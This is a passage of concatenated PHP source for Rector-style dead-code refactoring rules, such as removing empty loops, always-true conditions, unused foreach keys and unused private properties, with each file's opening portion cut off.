null; } return NodeTraverser::REMOVE_NODE; } } > */ public function getNodeTypes() : array { return [Do_::class, For_::class, Foreach_::class, While_::class]; } /** * @param Do_|For_|Foreach_|While_ $node */ public function refactor(Node $node) : ?Node { $modified = \false; while ($this->canRemoveLastStatement($node->stmts)) { \array_pop($node->stmts); $modified = \true; } return $modified ? $node : null; } /** * @param Stmt[] $stmts */ private function canRemoveLastStatement(array $stmts) : bool { if ($stmts === []) { return \false; } \end($stmts); $lastKey = \key($stmts); \reset($stmts); $lastStmt = $stmts[$lastKey]; return $this->isRemovable($lastStmt); } private function isRemovable(Stmt $stmt) : bool { if (!$stmt instanceof Continue_) { return \false; } if ($stmt->num instanceof LNumber) { return $stmt->num->value < 2; } return \true; } } conditionInverter = $conditionInverter; $this->betterNodeFinder = $betterNodeFinder; $this->stmtsManipulator = $stmtsManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove if, foreach and for that does not do anything', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($value) { if ($value) { } foreach ($values as $value) { } return $value; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($value) { return $value; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node * @return \PhpParser\Node|null|int */ public function refactor(Node $node) { if ($node->stmts === null) { return null; } $this->hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof If_ && !$stmt instanceof For_ && !$stmt instanceof Foreach_) { continue; } if ($stmt->stmts !== []) { continue; } if ($stmt instanceof If_) { $this->processIf($stmt, $key, $node); continue; } $this->processForForeach($stmt, $key, $node); } if ($this->hasChanged) { return $node; } return null; } private function processIf(If_ $if, int $key, StmtsAwareInterface $stmtsAware) : void { if ($if->elseifs !== []) { return; } // useless if () if (!$if->else instanceof Else_) { if ($this->hasNodeSideEffect($if->cond)) { return; } unset($stmtsAware->stmts[$key]); $this->hasChanged = \true; return; } $if->cond = $this->conditionInverter->createInvertedCondition($if->cond); $if->stmts = $if->else->stmts; $if->else = null; $this->hasChanged = \true; } /** * @param \PhpParser\Node\Stmt\For_|\PhpParser\Node\Stmt\Foreach_ $for */ private function processForForeach($for, int $key, StmtsAwareInterface $stmtsAware) : void { $stmts = (array) $stmtsAware->stmts; if ($for instanceof For_) { $variables = $this->betterNodeFinder->findInstanceOf(\array_merge($for->init, $for->cond, $for->loop), Variable::class); foreach ($variables as $variable) { if ($this->stmtsManipulator->isVariableUsedInNextStmt($stmts, $key + 1, (string) $this->getName($variable))) { return; } } unset($stmtsAware->stmts[$key]); $this->hasChanged = \true; return; } $exprs = \array_filter([$for->expr, $for->valueVar, $for->valueVar]); $variables = $this->betterNodeFinder->findInstanceOf($exprs, Variable::class); foreach ($variables as $variable) { if ($this->stmtsManipulator->isVariableUsedInNextStmt($stmts, $key + 1, (string) $this->getName($variable))) { return; } } unset($stmtsAware->stmts[$key]); $this->hasChanged = \true; } private function hasNodeSideEffect(Expr $expr) : bool { return $this->betterNodeFinder->hasInstancesOf($expr, [CallLike::class, Assign::class]); } } > */ public function getNodeTypes() : array { return [Do_::class, For_::class, Foreach_::class, While_::class]; } /** * @param Do_|For_|Foreach_|While_ $node */ public function refactor(Node $node) : ?int { if ($node->stmts !== []) { return null; } return NodeTraverser::REMOVE_NODE; } } nodeFinder = $nodeFinder; $this->stmtsManipulator = $stmtsManipulator; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused key in foreach', [new CodeSample(<<<'CODE_SAMPLE' $items = []; foreach ($items as $key => $value) { $result = $value; } CODE_SAMPLE , <<<'CODE_SAMPLE' $items = []; foreach ($items as $value) { $result = $value; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Foreach_) { continue; } if (!$stmt->keyVar instanceof Variable) { continue; } $keyVar = $stmt->keyVar; $isNodeUsed = (bool) $this->nodeFinder->findFirst($stmt->stmts, function (Node $node) use($keyVar) : bool { return $this->nodeComparator->areNodesEqual($node, $keyVar); }); if ($isNodeUsed) { continue; } $keyVarName = (string) $this->getName($keyVar); if ($this->stmtsManipulator->isVariableUsedInNextStmt($node, $key + 1, $keyVarName)) { continue; } $stmt->keyVar = null; $hasChanged = \true; $phpDocInfo = $this->phpDocInfoFactory->createFromNode($stmt); if (!$phpDocInfo instanceof PhpDocInfo) { continue; } $varTagValues = $phpDocInfo->getPhpDocNode()->getVarTagValues(); foreach ($varTagValues as $varTagValue) { $variableName = $varTagValue->variableName; if ($varTagValue->variableName === '$' . $keyVarName) { $phpDocInfo->removeByType(VarTagValueNode::class, $variableName); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($stmt); } } } if ($hasChanged) { return $node; } return null; } } > */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class]; } /** * @param ClassMethod|Function_|Closure $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === [] || $node->stmts === null) { return null; } \end($node->stmts); $lastStmtKey = \key($node->stmts); \reset($node->stmts); $lastStmt = $node->stmts[$lastStmtKey]; if ($lastStmt instanceof If_) { if (!$this->isBareIfWithOnlyStmtEmptyReturn($lastStmt)) { return null; } $lastStmt->stmts = []; return $node; } if (!$lastStmt instanceof Return_) { return null; } if ($lastStmt->expr instanceof Expr) { return null; } unset($node->stmts[$lastStmtKey]); return $node; } private function isBareIfWithOnlyStmtEmptyReturn(If_ $if) : bool { if ($if->else instanceof Else_) { return \false; } if ($if->elseifs !== []) { return \false; } if (\count($if->stmts) !== 1) { return \false; } $onlyStmt = $if->stmts[0]; if (!$onlyStmt instanceof Return_) { return \false; } return !$onlyStmt->expr instanceof Expr; } } safeLeftTypeBooleanAndOrAnalyzer = $safeLeftTypeBooleanAndOrAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Reduce always false in a if ( || ) condition', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(int $number) { if (! is_int($number) || $number > 50) { return 'yes'; } return 'no'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(int $number) { if ($number > 50) { return 'yes'; } return 'no'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof BooleanOr) { return null; } $booleanOr = $node->cond; $conditionStaticType = $this->getType($booleanOr->left); if (!$conditionStaticType instanceof ConstantBooleanType) { return null; } if ($conditionStaticType->getValue()) { return null; } if (!$this->safeLeftTypeBooleanAndOrAnalyzer->isSafe($booleanOr)) { return null; } $node->cond = $booleanOr->right; return $node; } } exprAnalyzer = $exprAnalyzer; $this->betterNodeFinder = $betterNodeFinder; $this->safeLeftTypeBooleanAndOrAnalyzer = $safeLeftTypeBooleanAndOrAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove if condition that is always true', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function go() { if (1 === 1) { return 'yes'; } return 'no'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function go() { return 'yes'; return 'no'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return int|null|Stmt[]|If_ */ public function refactor(Node $node) { if ($node->cond instanceof BooleanAnd) { return $this->refactorIfWithBooleanAnd($node); } if ($node->else instanceof Else_) { return null; } // just one if if ($node->elseifs !== []) { return null; } $conditionStaticType = $this->getType($node->cond); if (!$conditionStaticType instanceof ConstantBooleanType) { return null; } if (!$conditionStaticType->getValue()) { return null; } if ($this->shouldSkipExpr($node->cond)) { return null; } if ($this->shouldSkipFromVariable($node->cond)) { return null; } $hasAssign = (bool) $this->betterNodeFinder->findFirstInstanceOf($node->cond, Assign::class); if ($hasAssign) { return null; } if ($node->stmts === []) { return NodeTraverser::REMOVE_NODE; } return $node->stmts; } private function shouldSkipFromVariable(Expr $expr) : bool { /** @var Variable[] $variables */ $variables = $this->betterNodeFinder->findInstancesOf($expr, [Variable::class]); foreach ($variables as $variable) { if ($this->exprAnalyzer->isNonTypedFromParam($variable)) { return \true; } $type = $this->getType($variable); if ($type instanceof IntersectionType) { foreach ($type->getTypes() as $subType) { if ($subType instanceof ArrayType) { return \true; } } } } return \false; } private function shouldSkipExpr(Expr $expr) : bool { return (bool) $this->betterNodeFinder->findInstancesOf($expr, [PropertyFetch::class, StaticPropertyFetch::class, ArrayDimFetch::class, MethodCall::class, StaticCall::class]); } private function refactorIfWithBooleanAnd(If_ $if) : ?If_ { if (!$if->cond instanceof BooleanAnd) { return null; } $booleanAnd = $if->cond; $leftType = $this->getType($booleanAnd->left); if (!$leftType instanceof ConstantBooleanType) { return null; } if (!$leftType->getValue()) { return null; } if (!$this->safeLeftTypeBooleanAndOrAnalyzer->isSafe($booleanAnd)) { return null; } $if->cond = $booleanAnd->right; return $if; } } ifManipulator = $ifManipulator; $this->reflectionResolver = $reflectionResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove dead instanceof check on type hinted variable', [new CodeSample(<<<'CODE_SAMPLE' function run(stdClass $stdClass) { if (! $stdClass instanceof stdClass) { return false; } return true; } CODE_SAMPLE , <<<'CODE_SAMPLE' function run(stdClass $stdClass) { return true; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return Stmt[]|null|int|If_ */ public function refactor(Node $node) { if (!$this->ifManipulator->isIfWithoutElseAndElseIfs($node)) { return null; } if ($node->cond instanceof BooleanNot && $node->cond->expr instanceof Instanceof_) { return $this->refactorStmtAndInstanceof($node, $node->cond->expr); } if ($node->cond instanceof BooleanAnd) { return $this->refactorIfWithBooleanAnd($node); } if ($node->cond instanceof Instanceof_) { return $this->refactorStmtAndInstanceof($node, $node->cond); } return null; } /** * @return null|Stmt[]|int */ private function refactorStmtAndInstanceof(If_ $if, Instanceof_ $instanceof) { if ($this->isInstanceofTheSameType($instanceof) !== \true) { return null; } if ($this->shouldSkipFromNotTypedParam($instanceof)) { return null; } if ($instanceof->expr instanceof Assign) { $assignExpression = new Expression($instanceof->expr); return \array_merge([$assignExpression], $if->stmts); } if ($if->cond !== $instanceof) { return NodeTraverser::REMOVE_NODE; } if ($if->stmts === []) { return NodeTraverser::REMOVE_NODE; } // unwrap stmts return $if->stmts; } private function shouldSkipFromNotTypedParam(Instanceof_ $instanceof) : bool { $nativeParamType = $this->nodeTypeResolver->getNativeType($instanceof->expr); return $nativeParamType instanceof MixedType; } private function isPropertyFetch(Expr $expr) : bool { if ($expr instanceof PropertyFetch) { return \true; } return $expr instanceof StaticPropertyFetch; } private function isInstanceofTheSameType(Instanceof_ $instanceof) : ?bool { if (!$instanceof->class instanceof Name) { return null; } // handled in another rule if ($this->isPropertyFetch($instanceof->expr) || $instanceof->expr instanceof CallLike) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($instanceof); if ($classReflection instanceof ClassReflection && $classReflection->isTrait()) { return null; } $exprType = $this->nodeTypeResolver->getNativeType($instanceof->expr); if (!$exprType instanceof ObjectType) { return null; } $className = $instanceof->class->toString(); return $exprType->isInstanceOf($className)->yes(); } private function refactorIfWithBooleanAnd(If_ $if) : ?\PhpParser\Node\Stmt\If_ { if (!$if->cond instanceof BooleanAnd) { return null; } $booleanAnd = $if->cond; if (!$booleanAnd->left instanceof Instanceof_) { return null; } $instanceof = $booleanAnd->left; if ($this->isInstanceofTheSameType($instanceof) !== \true) { return null; } $if->cond = $booleanAnd->right; return $if; } } ifManipulator = $ifManipulator; $this->constructorAssignDetector = $constructorAssignDetector; $this->promotedPropertyResolver = $promotedPropertyResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove dead instanceof check on type hinted property', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private $someObject; public function __construct(SomeObject $someObject) { $this->someObject = $someObject; } public function run() { if ($this->someObject instanceof SomeObject) { return true; } return false; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private $someObject; public function __construct(SomeObject $someObject) { $this->someObject = $someObject; } public function run() { return true; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { $hasChanged = \false; $class = $node; $this->traverseNodesWithCallable($node->getMethods(), function (Node $node) use(&$hasChanged, $class) { // avoid loop ifs if ($node instanceof While_ || $node instanceof Foreach_ || $node instanceof For_ || $node instanceof Do_) { return NodeTraverser::STOP_TRAVERSAL; } if (!$node instanceof If_) { return null; } if (!$this->ifManipulator->isIfWithoutElseAndElseIfs($node)) { return null; } if ($node->cond instanceof BooleanNot && $node->cond->expr instanceof Instanceof_) { $result = $this->refactorStmtAndInstanceof($class, $node, $node->cond->expr); if ($result !== null) { $hasChanged = \true; return $result; } } if ($node->cond instanceof Instanceof_) { $result = $this->refactorStmtAndInstanceof($class, $node, $node->cond); if ($result !== null) { $hasChanged = \true; return $result; } } return null; }); if ($hasChanged) { return $node; } return null; } /** * @return null|Stmt[]|int */ private function refactorStmtAndInstanceof(Class_ $class, If_ $if, Instanceof_ $instanceof) { // check local property only if (!$instanceof->expr instanceof PropertyFetch || !$this->isName($instanceof->expr->var, 'this')) { return null; } if (!$instanceof->class instanceof Name) { return null; } $classType = $this->nodeTypeResolver->getType($instanceof->class); $exprType = $this->nodeTypeResolver->getType($instanceof->expr); $isSameStaticTypeOrSubtype = $classType->equals($exprType) || $classType->isSuperTypeOf($exprType)->yes(); if (!$isSameStaticTypeOrSubtype) { return null; } if (!$this->isInPropertyPromotedParams($class, $instanceof->expr) && $this->isSkippedPropertyFetch($class, $instanceof->expr)) { return null; } if ($if->cond !== $instanceof) { return NodeTraverser::REMOVE_NODE; } if ($if->stmts === []) { return NodeTraverser::REMOVE_NODE; } return $if->stmts; } /** * @param \PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\StaticPropertyFetch $propertyFetch */ private function isSkippedPropertyFetch(Class_ $class, $propertyFetch) : bool { $propertyName = $this->getName($propertyFetch->name); if ($propertyName === null) { return \true; } if ($this->constructorAssignDetector->isPropertyAssigned($class, $propertyName)) { return \false; } $property = $class->getProperty($propertyName); if (!$property instanceof Property) { return \true; } return $property->type === null; } /** * @param \PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\StaticPropertyFetch $propertyFetch */ private function isInPropertyPromotedParams(Class_ $class, $propertyFetch) : bool { /** @var string $propertyName */ $propertyName = $this->nodeNameResolver->getName($propertyFetch); $params = $this->promotedPropertyResolver->resolveFromClass($class); foreach ($params as $param) { if ($this->nodeNameResolver->isName($param, $propertyName)) { return \true; } } return \false; } } countManipulator = $countManipulator; $this->ifManipulator = $ifManipulator; $this->uselessIfCondBeforeForeachDetector = $uselessIfCondBeforeForeachDetector; $this->reservedKeywordAnalyzer = $reservedKeywordAnalyzer; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused if check to non-empty array before foreach of the array', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $values = []; if ($values !== []) { foreach ($values as $value) { echo $value; } } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $values = []; foreach ($values as $value) { echo $value; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class, StmtsAwareInterface::class]; } /** * @param If_|StmtsAwareInterface $node * @return Stmt[]|Foreach_|StmtsAwareInterface|null */ public function refactorWithScope(Node $node, Scope $scope) { if ($node instanceof If_) { return $this->refactorIf($node, $scope); } return $this->refactorStmtsAware($node); } private function isUselessBeforeForeachCheck(If_ $if, Scope $scope) : bool { if (!$this->ifManipulator->isIfWithOnly($if, Foreach_::class)) { return \false; } /** @var Foreach_ $foreach */ $foreach = $if->stmts[0]; $foreachExpr = $foreach->expr; if ($this->shouldSkipForeachExpr($foreachExpr, $scope)) { return \false; } $ifCond = $if->cond; if ($ifCond instanceof BooleanAnd) { return $this->isUselessBooleanAnd($ifCond, $foreachExpr); } if (($ifCond instanceof Variable || $this->propertyFetchAnalyzer->isPropertyFetch($ifCond)) && $this->nodeComparator->areNodesEqual($ifCond, $foreachExpr)) { $ifType = $scope->getNativeType($ifCond); return $ifType->isArray()->yes(); } if ($this->uselessIfCondBeforeForeachDetector->isMatchingNotIdenticalEmptyArray($if, $foreachExpr)) { return \true; } if ($this->uselessIfCondBeforeForeachDetector->isMatchingNotEmpty($if, $foreachExpr, $scope)) { return \true; } return $this->countManipulator->isCounterHigherThanOne($if->cond, $foreachExpr); } private function isUselessBooleanAnd(BooleanAnd $booleanAnd, Expr $foreachExpr) : bool { if (!$booleanAnd->left instanceof Variable) { return \false; } if (!$this->nodeComparator->areNodesEqual($booleanAnd->left, $foreachExpr)) { return \false; } return $this->countManipulator->isCounterHigherThanOne($booleanAnd->right, $foreachExpr); } private function refactorStmtsAware(StmtsAwareInterface $stmtsAware) : ?StmtsAwareInterface { if ($stmtsAware->stmts === null) { return null; } foreach ($stmtsAware->stmts as $key => $stmt) { if (!$stmt instanceof Foreach_) { continue; } $previousStmt = $stmtsAware->stmts[$key - 1] ?? null; if (!$previousStmt instanceof If_) { continue; } // not followed by any stmts $nextStmt = $stmtsAware->stmts[$key + 1] ?? null; if ($nextStmt instanceof Stmt) { continue; } if (!$this->uselessIfCondBeforeForeachDetector->isMatchingEmptyAndForeachedExpr($previousStmt, $stmt->expr)) { continue; } /** @var Empty_ $empty */ $empty = $previousStmt->cond; // scope need to be pulled from Empty_ node to ensure it get correct type $scope = $empty->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { continue; } $ifType = $scope->getNativeType($empty->expr); if (!$ifType->isArray()->yes()) { continue; } unset($stmtsAware->stmts[$key - 1]); return $stmtsAware; } return null; } private function refactorIf(If_ $if, Scope $scope) : ?Foreach_ { if (!$this->isUselessBeforeForeachCheck($if, $scope)) { return null; } /** @var Foreach_ $stmt */ $stmt = $if->stmts[0]; $ifComments = $if->getAttribute(AttributeKey::COMMENTS) ?? []; $stmtComments = $stmt->getAttribute(AttributeKey::COMMENTS) ?? []; $comments = \array_merge($ifComments, $stmtComments); $stmt->setAttribute(AttributeKey::COMMENTS, $comments); return $stmt; } private function shouldSkipForeachExpr(Expr $foreachExpr, Scope $scope) : bool { if ($foreachExpr instanceof ArrayDimFetch && $foreachExpr->dim !== null) { $exprType = $this->nodeTypeResolver->getNativeType($foreachExpr->var); $dimType = $this->nodeTypeResolver->getNativeType($foreachExpr->dim); if (!$exprType->hasOffsetValueType($dimType)->yes()) { return \true; } } if ($foreachExpr instanceof Variable) { $variableName = $this->nodeNameResolver->getName($foreachExpr); if (\is_string($variableName) && $this->reservedKeywordAnalyzer->isNativeVariable($variableName)) { return \true; } $ifType = $scope->getNativeType($foreachExpr); if (!$ifType->isArray()->yes()) { return \true; } } return \false; } } betterStandardPrinter = $betterStandardPrinter; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove if/else if they have same content', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if (true) { return 1; } else { return 1; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return 1; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return Stmt[]|null */ public function refactor(Node $node) : ?array { if (!$node->else instanceof Else_) { return null; } if (!$this->isIfWithConstantReturns($node)) { return null; } return $node->stmts; } private function isIfWithConstantReturns(If_ $if) : bool { $possibleContents = []; $possibleContents[] = $this->betterStandardPrinter->print($if->stmts); foreach ($if->elseifs as $elseif) { $possibleContents[] = $this->betterStandardPrinter->print($elseif->stmts); } $else = $if->else; if (!$else instanceof Else_) { throw new ShouldNotHappenException(); } $possibleContents[] = $this->betterStandardPrinter->print($else->stmts); $uniqueContents = \array_unique($possibleContents); // only one content for all return \count($uniqueContents) === 1; } } conditionEvaluator = $conditionEvaluator; $this->conditionResolver = $conditionResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove php version checks if they are passed', [new CodeSample(<<<'CODE_SAMPLE' // current PHP: 7.2 if (version_compare(PHP_VERSION, '7.2', '<')) { return 'is PHP 7.1-'; } else { return 'is PHP 7.2+'; } CODE_SAMPLE , <<<'CODE_SAMPLE' // current PHP: 7.2 return 'is PHP 7.2+'; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return Stmt[]|null|int */ public function refactor(Node $node) { if ($node->elseifs !== []) { return null; } $condition = $this->conditionResolver->resolveFromExpr($node->cond); if (!$condition instanceof ConditionInterface) { return null; } $result = $this->conditionEvaluator->evaluate($condition); if ($result === null) { return null; } // if is skipped if ($result === \true) { return $this->refactorIsMatch($node); } if ($result > 0) { return $this->refactorIsMatch($node); } return $this->refactorIsNotMatch($node); } /** * @return Stmt[]|null */ private function refactorIsMatch(If_ $if) : ?array { if ($if->elseifs !== []) { return null; } return $if->stmts; } /** * @return Stmt[]|int */ private function refactorIsNotMatch(If_ $if) { // no else → just remove the node if (!$if->else instanceof Else_) { return NodeTraverser::REMOVE_NODE; } // else is always used return $if->else->stmts; } } > */ private const NODE_TYPES = [Foreach_::class, Static_::class, Echo_::class, Return_::class, Expression::class, Throw_::class, If_::class, While_::class, Switch_::class, Nop::class]; public function __construct(StmtsManipulator $stmtsManipulator, DocBlockUpdater $docBlockUpdater, PhpDocInfoFactory $phpDocInfoFactory, ValueResolver $valueResolver, BetterNodeFinder $betterNodeFinder) { $this->stmtsManipulator = $stmtsManipulator; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->valueResolver = $valueResolver; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Removes non-existing @var annotations above the code', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function get() { /** @var Training[] $trainings */ return $this->getData(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function get() { return $this->getData(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; $extractValues = []; foreach ($node->stmts as $key => $stmt) { if ($stmt instanceof Expression && $stmt->expr instanceof FuncCall && $this->isName($stmt->expr, 'extract') && !$stmt->expr->isFirstClassCallable()) { $appendExtractValues = $this->valueResolver->getValue($stmt->expr->getArgs()[0]->value); if (!\is_array($appendExtractValues)) { // nothing can do as value is dynamic break; } $extractValues = \array_merge($extractValues, \array_keys($appendExtractValues)); continue; } if ($this->shouldSkip($node, $key, $stmt, $extractValues)) { continue; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($stmt); $varTagValueNode = $phpDocInfo->getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { continue; } if ($this->isObjectShapePseudoType($varTagValueNode)) { continue; } $variableName = \ltrim($varTagValueNode->variableName, '$'); if ($variableName === '' && $this->isAllowedEmptyVariableName($stmt)) { continue; } if ($this->hasVariableName($stmt, $variableName)) { continue; } $comments = $node->getComments(); if (isset($comments[1])) { // skip edge case with double comment, as impossible to resolve by PHPStan doc parser continue; } if ($this->stmtsManipulator->isVariableUsedInNextStmt($node, $key + 1, $variableName)) { continue; } $phpDocInfo->removeByType(VarTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($stmt); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } /** * @param string[] $extractValues */ private function shouldSkip(StmtsAwareInterface $stmtsAware, int $key, Stmt $stmt, array $extractValues) : bool { if (!\in_array(\get_class($stmt), self::NODE_TYPES, \true)) { return \true; } if (\count($stmt->getComments()) !== 1) { return \true; } foreach ($extractValues as $extractValue) { if ($this->stmtsManipulator->isVariableUsedInNextStmt($stmtsAware, $key + 1, $extractValue)) { return \true; } } return isset($stmtsAware->stmts[$key + 1]) && $stmtsAware->stmts[$key + 1] instanceof InlineHTML; } private function hasVariableName(Stmt $stmt, string $variableName) : bool { return (bool) $this->betterNodeFinder->findFirst($stmt, function (Node $node) use($variableName) : bool { if (!$node instanceof Variable) { return \false; } return $this->isName($node, $variableName); }); } /** * This is a hack, * that waits on phpdoc-parser to get merged - https://github.com/phpstan/phpdoc-parser/pull/145 */ private function isObjectShapePseudoType(VarTagValueNode $varTagValueNode) : bool { if (!$varTagValueNode->type instanceof IdentifierTypeNode) { return \false; } if ($varTagValueNode->type->name !== 'object') { return \false; } if (\strncmp($varTagValueNode->description, '{', \strlen('{')) !== 0) { return \false; } return \strpos($varTagValueNode->description, '}') !== \false; } private function isAllowedEmptyVariableName(Stmt $stmt) : bool { if ($stmt instanceof Return_ && $stmt->expr instanceof CallLike && !$stmt->expr instanceof New_) { return \true; } return $stmt instanceof Expression && $stmt->expr instanceof Assign && $stmt->expr->var instanceof Variable; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove operation with 1 and 0, that have no effect on the value', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $value = 5 * 1; $value = 5 + 0; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $value = 5; $value = 5; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Plus::class, Minus::class, Mul::class, Div::class, AssignPlus::class, AssignMinus::class, AssignMul::class, AssignDiv::class]; } /** * @param Plus|Minus|Mul|Div|AssignPlus|AssignMinus|AssignMul|AssignDiv $node */ public function refactor(Node $node) : ?Node { if ($node instanceof AssignOp) { return $this->processAssignOp($node); } // -, + return $this->processBinaryOp($node); } private function processAssignOp(AssignOp $assignOp) : ?Expr { // +=, -= if ($assignOp instanceof AssignPlus || $assignOp instanceof AssignMinus) { if (!$this->valueResolver->isValue($assignOp->expr, 0)) { return null; } if ($this->nodeTypeResolver->isNumberType($assignOp->var)) { return $assignOp->var; } } // *, / if ($assignOp instanceof AssignMul || $assignOp instanceof AssignDiv) { if (!$this->valueResolver->isValue($assignOp->expr, 1)) { return null; } if ($this->nodeTypeResolver->isNumberType($assignOp->var)) { return $assignOp->var; } } return null; } private function processBinaryOp(Node $node) : ?Expr { if ($node instanceof Plus || $node instanceof Minus) { return $this->processBinaryPlusAndMinus($node); } // *, / if ($node instanceof Mul) { return $this->processBinaryMulAndDiv($node); } if ($node instanceof Div) { return $this->processBinaryMulAndDiv($node); } return null; } private function areNumberType(BinaryOp $binaryOp) : bool { if (!$this->nodeTypeResolver->isNumberType($binaryOp->left)) { return \false; } return $this->nodeTypeResolver->isNumberType($binaryOp->right); } /** * @param \PhpParser\Node\Expr\BinaryOp\Plus|\PhpParser\Node\Expr\BinaryOp\Minus $binaryOp */ private function processBinaryPlusAndMinus($binaryOp) : ?Expr { if (!$this->areNumberType($binaryOp)) { return null; } if ($this->valueResolver->isValue($binaryOp->left, 0) && $this->nodeTypeResolver->isNumberType($binaryOp->right)) { if ($binaryOp instanceof Minus) { return new UnaryMinus($binaryOp->right); } return $binaryOp->right; } if (!$this->valueResolver->isValue($binaryOp->right, 0)) { return null; } return $binaryOp->left; } /** * @param \PhpParser\Node\Expr\BinaryOp\Mul|\PhpParser\Node\Expr\BinaryOp\Div $binaryOp */ private function processBinaryMulAndDiv($binaryOp) : ?Expr { if ($binaryOp->left instanceof ClassConstFetch || $binaryOp->right instanceof ClassConstFetch) { return null; } if (!$this->areNumberType($binaryOp)) { return null; } if ($binaryOp instanceof Mul && $this->valueResolver->isValue($binaryOp->left, 1) && $this->nodeTypeResolver->isNumberType($binaryOp->right)) { return $binaryOp->right; } if (!$this->valueResolver->isValue($binaryOp->right, 1)) { return null; } return $binaryOp->left; } } propertyFetchFinder = $propertyFetchFinder; $this->propertyWriteonlyAnalyzer = $propertyWriteonlyAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused private properties', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { private $property; } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkipClass($node)) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Property) { continue; } if ($this->shouldSkipProperty($stmt)) { continue; } if (!$this->shouldRemoveProperty($node, $stmt)) { continue; } // remove property unset($node->stmts[$key]); $propertyName = $this->getName($stmt); $this->removePropertyAssigns($node, $propertyName); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function shouldSkipProperty(Property $property) : bool { // has some attribute logic if ($property->attrGroups !== []) { return \true; } if (\count($property->props) !== 1) { return \true; } if (!$property->isPrivate()) { return \true; } // has some possible magic if ($property->isStatic()) { return \true; } $propertyPhpDocInfo = $this->phpDocInfoFactory->createFromNode($property); if (!$propertyPhpDocInfo instanceof PhpDocInfo) { return \false; } // skip as might contain important metadata return $propertyPhpDocInfo->hasByType(DoctrineAnnotationTagValueNode::class); } private function shouldRemoveProperty(Class_ $class, 